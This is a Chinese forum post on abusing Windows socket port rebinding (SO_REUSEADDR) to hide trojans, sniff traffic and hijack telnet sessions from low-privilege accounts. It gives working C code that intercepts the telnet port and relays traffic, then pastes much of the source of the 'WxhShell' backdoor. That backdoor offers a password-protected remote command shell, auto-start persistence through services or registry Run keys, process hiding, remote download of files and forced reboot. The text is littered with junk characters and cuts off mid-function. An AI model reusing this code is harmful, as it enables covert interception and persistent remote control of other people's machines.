社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15345阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T]Tz<w W(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Fj1/B0acS  
'(2G qX!  
  saddr.sin_family = AF_INET; ,>{4*PM(  
X?>S24I"9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^%go\ C ;  
xhUQ.(S`r6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8Y5* 1E*  
v bb mmv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ><\mt  
vm8QKPy  
  这意味着什么?意味着可以进行如下的攻击: >GT0 x  
0R_ZP12  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lG\lu'<C  
J4`08,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (y~da~  
gjo\g P@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @sfV hWG  
_<t3~{qUT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YLPiK  
|8+<qgQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @D0Ut9)  
-uv1$|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ocdXzk`  
=b`>ggw#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Oo7n_h1  
aEZl ICpU7  
  #include Aba6/  
  #include EVb'x Zr  
  #include f$2lq4P{  
  #include    !Toq~,a8?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Yv"uIj+']  
  int main() ,{'~J @  
  { ^4s#nf:}  
  WORD wVersionRequested; qmxkmO+Qur  
  DWORD ret; -|f9~(t  
  WSADATA wsaData; z w5EaY  
  BOOL val; vf5[x!4  
  SOCKADDR_IN saddr; !29 Rl`9  
  SOCKADDR_IN scaddr; xFg=Tyq:  
  int err; L?al2aopF  
  SOCKET s; } k5pfz  
  SOCKET sc; ld9 zOq  
  int caddsize;  U,Z(h  
  HANDLE mt; O~ qB  
  DWORD tid;   s)]|zu0"Ku  
  wVersionRequested = MAKEWORD( 2, 2 ); 5n(p 1OM2q  
  err = WSAStartup( wVersionRequested, &wsaData ); ;y HA.}  
  if ( err != 0 ) { s?0r\cc|:  
  printf("error!WSAStartup failed!\n"); <&H.pN1_  
  return -1; cG"jrQ  
  } "G`)x+<~Z8  
  saddr.sin_family = AF_INET; kx'6FkZPIr  
   )K5~r>n&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Gc@ENE f  
<#`<Ys3b*!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PicO3m  
  saddr.sin_port = htons(23); @&,r|-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "}PmAr e  
  { m1+DeXR_g  
  printf("error!socket failed!\n"); W9eR3q  
  return -1; !>>$'.nb@~  
  } hfEGkaV._3  
  val = TRUE; .' X$SF`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &=02.E@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [=V8  
  { D.?KgOZ  
  printf("error!setsockopt failed!\n"); oxGOn('  
  return -1; P6IhpB59  
  } YdeSJ(:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oO= 6Kd+T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WBC'~h<@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yP-.8[;  
A`OU} 'v?L  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Dhef|E<  
  { DbOWnXV"o  
  ret=GetLastError(); _Z8zD[l  
  printf("error!bind failed!\n"); &,e@pvc3  
  return -1; }]g>PY  
  } ?+5K2Zk  
  listen(s,2); ~hM4({/QN  
  while(1) ]^ j)4us  
  { %kVpW& ~  
  caddsize = sizeof(scaddr); 8dL(cC  
  //接受连接请求 9KAXc(-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^[qmELW#7  
  if(sc!=INVALID_SOCKET) :SYg)|s  
  { gVZ~OcB!W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0|4XV{\qT$  
  if(mt==NULL) 66z1_ lA  
  { {H0B"i  
  printf("Thread Creat Failed!\n"); Cu/w><h)  
  break; cT.1oaAM0  
  } 6J&L5E  
  } Gia_B6*Y[  
  CloseHandle(mt); oq0G@  
  } \ u5%+GA-:  
  closesocket(s); }1(F~6RH  
  WSACleanup(); L\n_q6n  
  return 0; 6.K)uQgjmv  
  }   Kq.)5%~>  
  DWORD WINAPI ClientThread(LPVOID lpParam) !FO||z(vb  
  { sq :ff  
  SOCKET ss = (SOCKET)lpParam; y;Dw%m  
  SOCKET sc; tSQ>P -O  
  unsigned char buf[4096]; ?rr%uXQjH  
  SOCKADDR_IN saddr; E@[`y:P  
  long num; eb+[=nmP  
  DWORD val; Jh }3AoD  
  DWORD ret; (wbG0lu  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O<o_MZN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &4B N9`|:  
  saddr.sin_family = AF_INET; d3Y#_!)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E5 Y92vu  
  saddr.sin_port = htons(23); tK]r>?Y\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DmD*,[rD  
  { pT[C[h:  
  printf("error!socket failed!\n"); /4=O^;   
  return -1; e'7!aysj  
  } #M8"b]oh6  
  val = 100; GS)l{bS#[O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iyj&O"  
  { gbKms ; :  
  ret = GetLastError(); ^*Rrx  
  return -1; 'MsxZqW"~  
  } <4(rY9   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 30F&FTW  
  { <K 4zH<y  
  ret = GetLastError(); o1kLT@VCl  
  return -1; j7uiZU;3Rx  
  } ~W`upx)j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _=, [5"  
  { !&19%C4  
  printf("error!socket connect failed!\n"); `Jz"rh-M  
  closesocket(sc); (obeEH5J  
  closesocket(ss); Q=w\)qJ  
  return -1; 6AzH'H F  
  } uZW1 :cx  
  while(1)  H\)on"  
  { Ym0Xl(Se  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6K* 7%8Y/G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {)jQbAr(G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tQUp1i{j\  
  num = recv(ss,buf,4096,0); G~YV6??  
  if(num>0) HH[?LKd<  
  send(sc,buf,num,0); 3pq&TYQU  
  else if(num==0) >mh:OJH45  
  break; T`f9 jD  
  num = recv(sc,buf,4096,0); 7eh}Je8  
  if(num>0) AA yzT*^  
  send(ss,buf,num,0); UyIjM;X  
  else if(num==0) %.<w8ag  
  break;  aA0aW=R  
  } VJJw"4DJ  
  closesocket(ss); V^.~m;ETu]  
  closesocket(sc); ~M43#E[oOF  
  return 0 ; G|X1c}zAL  
  } spn1Ji  
I[&z#foN=w  
l<^#@SH  
========================================================== .F}ZP0THnZ  
c+-L>dsss  
下边附上一个代码,,WXhSHELL WvNX%se]3  
QbpRSdxy`$  
========================================================== m",$M>  
DhkzVp_  
#include "stdafx.h" b6oPnP_3P  
v,1.n{!;  
#include <stdio.h>  :E'38~  
#include <string.h> \+S~N:@><k  
#include <windows.h> }%_x T  
#include <winsock2.h> ?u 9) GJO[  
#include <winsvc.h> t</Kel|D  
#include <urlmon.h> /koNcpJ  
'du:Bxl`d4  
#pragma comment (lib, "Ws2_32.lib") (q3(bH~T)  
#pragma comment (lib, "urlmon.lib") f{5)yZ`J*  
N.BD]_C  
#define MAX_USER   100 // 最大客户端连接数 i>0I '~V  
#define BUF_SOCK   200 // sock buffer U3%!#E{  
#define KEY_BUFF   255 // 输入 buffer r"J1C  
j}S  
#define REBOOT     0   // 重启 I@ }:} 8t  
#define SHUTDOWN   1   // 关机 >^> \y8on  
z26zl[.  
#define DEF_PORT   5000 // 监听端口 .ay K+6I  
^|as]x!sv  
#define REG_LEN     16   // 注册表键长度 ].2q.7Yur  
#define SVC_LEN     80   // NT服务名长度 WihOGdUS6  
bIe>j*VPh@  
// 从dll定义API gwR ^Z{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~D<o}ItRF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K'n^, t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WB $Z<m :  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jcFh2  
<E6]8SQE  
// wxhshell配置信息 b*r1Jn"h  
struct WSCFG { :NS;y-{^^y  
  int ws_port;         // 监听端口 MdZ7Yep  
  char ws_passstr[REG_LEN]; // 口令 nN/v7^^  
  int ws_autoins;       // 安装标记, 1=yes 0=no GeZwbJ/?B  
  char ws_regname[REG_LEN]; // 注册表键名 A$fd6+{  
  char ws_svcname[REG_LEN]; // 服务名 6$ @Pk<w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )!p=0&z@{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d/Fjs0pt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `;5UlkVZ5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no az0( 54M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !tHqF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 18V*Cu  
esbxx##\  
}; +JBhw4et;.  
0O"GI33Mg  
// default Wxhshell configuration qV8;;&8r  
struct WSCFG wscfg={DEF_PORT, eJ$?T7aUf  
    "xuhuanlingzhe", z15(8Y@2]  
    1, $9Y2\'w<h6  
    "Wxhshell", ANn {*h  
    "Wxhshell", 7^as~5'&-  
            "WxhShell Service", W"VN2  
    "Wrsky Windows CmdShell Service", 44RZk|U1J{  
    "Please Input Your Password: ", mmr>"`5.  
  1, ,LWM}L  
  "http://www.wrsky.com/wxhshell.exe", QRw3 06  
  "Wxhshell.exe" E9%xSMS8@  
    }; {Am\%v\  
8p>%}LX/  
// 消息定义模块 htlsU*x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,N <;!6e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~$!eB/6ty  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !);}zW!  
char *msg_ws_ext="\n\rExit."; &g.w~KWa  
char *msg_ws_end="\n\rQuit."; t<}'/ )  
char *msg_ws_boot="\n\rReboot..."; ^=E4~22q  
char *msg_ws_poff="\n\rShutdown..."; u#la+/   
char *msg_ws_down="\n\rSave to "; 9%kY8#%SV  
mcS/-DaN?  
char *msg_ws_err="\n\rErr!"; U|-4*l9Ed  
char *msg_ws_ok="\n\rOK!"; {eqUEdC  
#B)/d?aa'  
char ExeFile[MAX_PATH]; m{(D*Vuqd  
int nUser = 0; ldanM>5  
HANDLE handles[MAX_USER]; DU]MMR  
int OsIsNt; G\Toi98d*  
B58H7NH ;G  
SERVICE_STATUS       serviceStatus; /Eh\07p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )0fQ(3oOg  
PFUb\AY  
// 函数声明 ~ E>D0o  
int Install(void); k;;?3)!  
int Uninstall(void); zUIh8cAoE  
int DownloadFile(char *sURL, SOCKET wsh); UQ`%,D  
int Boot(int flag); &FkKnz4IZ  
void HideProc(void); Q3wD6!'&m  
int GetOsVer(void); C<6u}czA  
int Wxhshell(SOCKET wsl); >:Xzv  
void TalkWithClient(void *cs); /M v\~vg$1  
int CmdShell(SOCKET sock); u)R>ozER  
int StartFromService(void); cJj0`@0f  
int StartWxhshell(LPSTR lpCmdLine); 7+#^:;19`  
T!(I\wz;Bo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vlp]!7v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7<|1 xOT  
A$Es(<'9g  
// 数据结构和表定义 V4/P  
SERVICE_TABLE_ENTRY DispatchTable[] = `Ft`8=(  
{  6:ZqS~-  
{wscfg.ws_svcname, NTServiceMain}, #}:VZ2Z  
{NULL, NULL} "g>uNtt~  
}; ( F0.lDZ  
sjWhtd[fgG  
// 自我安装 2"yzrwZ:  
int Install(void) D#W{:_f  
{ D:8-f3  
  char svExeFile[MAX_PATH]; j4ypXPY``!  
  HKEY key; s2b!Nib  
  strcpy(svExeFile,ExeFile); ?n\~&n'C  
@<W"$_ r-  
// 如果是win9x系统,修改注册表设为自启动 K]N^6ome  
if(!OsIsNt) { hSp[BsF`,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3vQ?vS|2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g0cCw2S  
  RegCloseKey(key); UyD=x(li  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H,:Cg:E/^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p Ic ;9  
  RegCloseKey(key); *G'zES0x  
  return 0; dm)V \?b  
    } a%Mbq;  
  } ,Xo9gn  
} zRsT6u  
else { e0(loWq]  
PPPRO.y  
// 如果是NT以上系统,安装为系统服务 *=~ 9?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2=(=Wjk.  
if (schSCManager!=0) [q9TTJ@2  
{ gigDrf}  
  SC_HANDLE schService = CreateService >(`|oD`,Y  
  ( HP*x?|4  
  schSCManager, =f.f%g6  
  wscfg.ws_svcname, JEU?@J71O  
  wscfg.ws_svcdisp, uhQ3  
  SERVICE_ALL_ACCESS, e`<=& w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T>kJB.V:oQ  
  SERVICE_AUTO_START, cV&(L]k>`  
  SERVICE_ERROR_NORMAL, f^:9gRt  
  svExeFile, .fU qsq  
  NULL, &,{cm^*  
  NULL, #++MoW}'g  
  NULL, @DU]XKv  
  NULL, Uc<B)7{'  
  NULL ^p|@{4f]  
  ); P ,xayy  
  if (schService!=0) kx]f`b  
  { a!Z,~ V8  
  CloseServiceHandle(schService); |1-0x%@[;  
  CloseServiceHandle(schSCManager); ?n?Ep[D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l OI(+74  
  strcat(svExeFile,wscfg.ws_svcname); 04WKAP'c N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }P-9\*hlm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Y &Q,  
  RegCloseKey(key); csH1X/3ha\  
  return 0; qGl+KI  
    } Ndx.SOj  
  } M\e%GJ0  
  CloseServiceHandle(schSCManager); NZi5rX N  
} - FA#hUK$  
} sJt&`kZ  
31Zl"-<#-  
return 1; +%UXI$v  
} VP0wa>50!  
#u|;YC  
// 自我卸载 >6r&VZu*n  
int Uninstall(void)  W* `2lf  
{ P[#V{%f*5  
  HKEY key; )I.[@#-  
wEKm3mY;  
if(!OsIsNt) { <3Co/.VQd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uu }ai."iB  
  RegDeleteValue(key,wscfg.ws_regname); ~WR6rc  
  RegCloseKey(key); } Yj ic4?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xJ^Gtq Um  
  RegDeleteValue(key,wscfg.ws_regname); .~ZNlI {K  
  RegCloseKey(key); aR*z5p2-w  
  return 0; G80d!*7  
  } Ax=Rb B"  
} 4K[U*-\"  
} ,Z&"@g  
else { ,)S|%tDW  
M6pGf_qt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  {hZ_f3o  
if (schSCManager!=0) S-.!BQ@RMZ  
{ FyZw='D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j9x}D;? n  
  if (schService!=0) Maf!,/U4  
  { C1r]kF  
  if(DeleteService(schService)!=0) { v(h   
  CloseServiceHandle(schService); E"pq ZP =  
  CloseServiceHandle(schSCManager); _d %H;<_  
  return 0; lwQI 9U[O2  
  } 5a5 I+* c  
  CloseServiceHandle(schService); 2+sNt6B2  
  } &0Wv+2l @  
  CloseServiceHandle(schSCManager); H.|FEV@  
} H5^ 'J`0\  
} J3S@1"   
2@uo2]o)  
return 1; J@p[v3W  
} /NMd GKr  
BT`D|<  
// 从指定url下载文件 TP'EdzAT  
int DownloadFile(char *sURL, SOCKET wsh) ;}=v|Dr&I.  
{ A4Q8^^byY  
  HRESULT hr; **fJAANc  
char seps[]= "/"; cl^wLC'o  
char *token; %]r@vjeyd  
char *file; xo7H^!_   
char myURL[MAX_PATH]; d_1w 9 F A  
char myFILE[MAX_PATH]; )/Ee#)z*  
?9OiF-:n  
strcpy(myURL,sURL); 0Evmq3,9  
  token=strtok(myURL,seps); 6b6}HO  
  while(token!=NULL) Q$iv27  
  { )O#>ONm^  
    file=token; [0Z r z+q  
  token=strtok(NULL,seps); g=o)=sQd  
  } BqCBH!^x  
2/E3~X7  
GetCurrentDirectory(MAX_PATH,myFILE); 5?kF'yksR  
strcat(myFILE, "\\"); @Zjy"u  
strcat(myFILE, file); O}Fp\"  
  send(wsh,myFILE,strlen(myFILE),0); TL1pv l  
send(wsh,"...",3,0); lRZt))3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u"?cmg<.1  
  if(hr==S_OK) F?T3fINR  
return 0; 4WzB=C(f  
else )+u|qT3%  
return 1; e~i ?E  
g5; W6QX  
} _F;(#D  
FC.y%P,  
// 系统电源模块 l`[*b_ Xt  
int Boot(int flag) /V$ [M  
{ UStZ3A'  
  HANDLE hToken; PfF7*}P  
  TOKEN_PRIVILEGES tkp; Yvs9)g  
hz>&E,<8q  
  if(OsIsNt) { _;G"{e.=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); & WYIfx{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vp[~%~1(  
    tkp.PrivilegeCount = 1; UqsVqi h(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z X2BJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O)Nj'Hcu  
if(flag==REBOOT) { Me`jh8(K\6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &t5pJ`$(Cy  
  return 0; m!$"-nh9  
} <6Y o%xt  
else { c03A_2%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4 "@BbVYR  
  return 0; .%M=dL>  
} S^c5  
  } RI')iz?  
  else { vaxNF%^~yN  
if(flag==REBOOT) { _$9<N5F.,o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1Ty{k^%  
  return 0; N|h`}*:x=  
} y9=/kFPRm  
else { QG4#E$ c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _E{SGbCCi  
  return 0; p6A"_b^  
} ZgcA[P  
} y4/>3tz;  
5Q?7 xTQ  
return 1; )^|zuYzN  
} +s V$s]U  
R1! {,*Gy  
// win9x进程隐藏模块 V=H87 ^b  
void HideProc(void) CGbW] D$@  
{ vAy`8Q  
:cnH@:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <ij;^ygYD  
  if ( hKernel != NULL ) INyreoMp  
  { L @_IGH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q-KN{y/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P2_JS]>  
    FreeLibrary(hKernel); lo,?mj%M  
  } Y@c! \0e$  
DQ?'f@I&*  
return; %+:%%r=Q  
} |0vY'A)]  
x&8HBF'  
// 获取操作系统版本 S =U*is  
int GetOsVer(void) j I_TN5  
{ N>z_uPy{A  
  OSVERSIONINFO winfo; zRx-xWo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R.Ao%VT  
  GetVersionEx(&winfo); isLIfE>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VuN= JX  
  return 1; yxf|Njo0  
  else ^*C8BzcH  
  return 0; J)6RXt*!  
} 5%rD7/7N  
_bHmcK  
// 客户端句柄模块 JpvE c!cli  
int Wxhshell(SOCKET wsl) %4Y/-xF}9,  
{ SaH0YxnY+  
  SOCKET wsh; RC sQLKqF  
  struct sockaddr_in client; Hq?-e?Nc  
  DWORD myID; :D-My28'  
nr Jl>H  
  while(nUser<MAX_USER) 7 M=LyrO  
{ /[#<@o  
  int nSize=sizeof(client); npkE [JE:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yEJ}!/  
  if(wsh==INVALID_SOCKET) return 1; EEEYNu/4/  
<{Wsh#7}.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); il(dVW  
if(handles[nUser]==0) c`yLn %Of%  
  closesocket(wsh); 9fp1*d  
else [[}KCND  
  nUser++; QmvhmsDL  
  } ArDkJ`DE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vrXUS9i.  
%G1kkcdH<  
  return 0; B<SuNbR  
} )[|`-M~u  
g""1f%U_p  
// 关闭 socket g)u ~GA*=  
void CloseIt(SOCKET wsh) iq)4/3"6  
{ U iqHUrx  
closesocket(wsh); oyZ}JTl( Q  
nUser--; <5?.s< y$"  
ExitThread(0); FX`SaY>D  
} byR|L:L  
4eMNKIsvY$  
// 客户端请求句柄 9+)5#!0  
void TalkWithClient(void *cs) &> tmzlww  
{ 8  ;y N  
+Em+W#i%?  
  SOCKET wsh=(SOCKET)cs; v@_b"w_TY  
  char pwd[SVC_LEN]; p&/}0eL y  
  char cmd[KEY_BUFF]; Zg "g/I.+d  
char chr[1]; R=yn4>I  
int i,j; ~4S@kYe{3K  
v_3r8My-  
  while (nUser < MAX_USER) { GD<xmuo  
>T[1=;o]  
if(wscfg.ws_passstr) { PE4#dx^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :8cp]v dW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i1e|UR-wl  
  //ZeroMemory(pwd,KEY_BUFF); bnt>j0E  
      i=0; y=_8ae}aD~  
  while(i<SVC_LEN) { 'te4mY}  
*~~ >?  
  // 设置超时 u )cc  
  fd_set FdRead; g)c<\%  
  struct timeval TimeOut; T$RVz   
  FD_ZERO(&FdRead); 6,"86  
  FD_SET(wsh,&FdRead); f'` QW@U  
  TimeOut.tv_sec=8; ^vPM\qP#g  
  TimeOut.tv_usec=0; |B yw]\3v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RwJ#G7S#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dr#g[}l'H  
?s/]k#H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~UA:_7#\M  
  pwd=chr[0]; +L D\~dcV+  
  if(chr[0]==0xd || chr[0]==0xa) { M}2a/}4   
  pwd=0; gM~ dPM|  
  break; bBA #o\[  
  } eT* )r~  
  i++; @}k5rcQ*/  
    } MA1.I4dm  
]f#1G$  
  // 如果是非法用户,关闭 socket Loo48  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c `C /U7j  
} >|Ps23J#  
BM9J/24  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y ,e# e`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); is @8x!c  
h8OmO5/H  
while(1) { qP=4D 9 ]  
J%]< /J  
  ZeroMemory(cmd,KEY_BUFF); -8H0f- 1  
>Z@^R7_W  
      // 自动支持客户端 telnet标准   F)rU* i7  
  j=0; I,J*\)-%J  
  while(j<KEY_BUFF) { X/Umfci  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l'TM^B)`c  
  cmd[j]=chr[0]; <d!_.f}v  
  if(chr[0]==0xa || chr[0]==0xd) { O]&DDzo  
  cmd[j]=0; g*t(%;_m  
  break; F} d>pK9fn  
  } VA{2a7]  
  j++; S-@E  
    } >Wvb!8N  
91Bl{  
  // 下载文件 w;f$oT  
  if(strstr(cmd,"http://")) { %6c[\ubr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M{\W$xPL)  
  if(DownloadFile(cmd,wsh)) #'s}=i}y"C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `j+[JMr  
  else /sHWJ?`&/,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4E\Jk5co,  
  } X 633.]+  
  else { !##OQ  
7&-i :2  
    switch(cmd[0]) { Ps=OL\i  
  B+W 4r9#  
  // 帮助 cVCylR U"  
  case '?': { ON"F h'?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8:s" ^YLN  
    break; mc37Y.  
  } b3Nr>(Z<}  
  // 安装 5k/Y7+*?E  
  case 'i': { q=Cc2|Ve  
    if(Install()) ~@g7b`t=la  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yKSvg5lLy  
    else 3!]S8Y*LQP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |cKo#nfzZ  
    break; DdO$&/`)YP  
    } N pu#.)G  
  // 卸载 nSUQ Eho<  
  case 'r': { 5~ho1Ud  
    if(Uninstall()) p) #7K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )q#1C]7m*  
    else cO}`PD$i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gzdR|IBa  
    break; ig:E` Fe@  
    } X'BFR]cm  
  // 显示 wxhshell 所在路径 ca~nfo  
  case 'p': { @nIoYT='  
    char svExeFile[MAX_PATH]; }\+7*|  
    strcpy(svExeFile,"\n\r"); q0* e1QL  
      strcat(svExeFile,ExeFile); eAvOT$  
        send(wsh,svExeFile,strlen(svExeFile),0); YXe L7W  
    break; EtVRnI@  
    } M3>c?,O)J  
  // 重启 ]r 6S|;:  
  case 'b': { J QSp2b@'H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7&ty!PpD  
    if(Boot(REBOOT)) A}K2"lQ#>,  
